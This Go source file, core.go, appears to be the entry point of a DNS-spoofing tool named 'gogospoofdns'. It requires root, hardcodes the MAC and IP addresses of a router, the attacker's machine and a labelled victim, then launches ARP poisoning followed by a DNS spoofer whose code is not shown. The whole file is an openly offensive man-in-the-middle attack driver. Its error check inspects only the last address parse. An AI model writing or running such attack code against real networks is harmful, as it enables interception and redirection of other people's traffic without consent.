core.go

package main

import (
  "fmt"
  "net"
  "os"
)

func main() {
  if os.Geteuid() != 0 {
    fmt.Println("gogospoofdns requires root!")
    return
  }

  var dev string = "eno1"

  fmt.Println("Running arp poison")
  routerMac, err := net.ParseMAC("00:1A:6D:38:15:FF")
  routerIP := net.IP{192, 168, 0, 100}
  localMac, err := net.ParseMAC("98:90:96:D5:84:7B")
  localIP := net.IP{192, 168, 0, 9}
  victimMac, err := net.ParseMAC("98:90:96:DC:fB:6A")
  victimIP := net.IP{192, 168, 0, 10}
  /********* end parse all IP's and MAC's relevent for poisoning / spoofing *********/

  if err != nil {
    fmt.Println(err)
    os.Exit(1)
  }

  go arpPoison(dev, routerMac, routerIP, localMac, localIP, victimMac, victimIP)

  fmt.Println("Running spoofer")
  spoof(dev)
}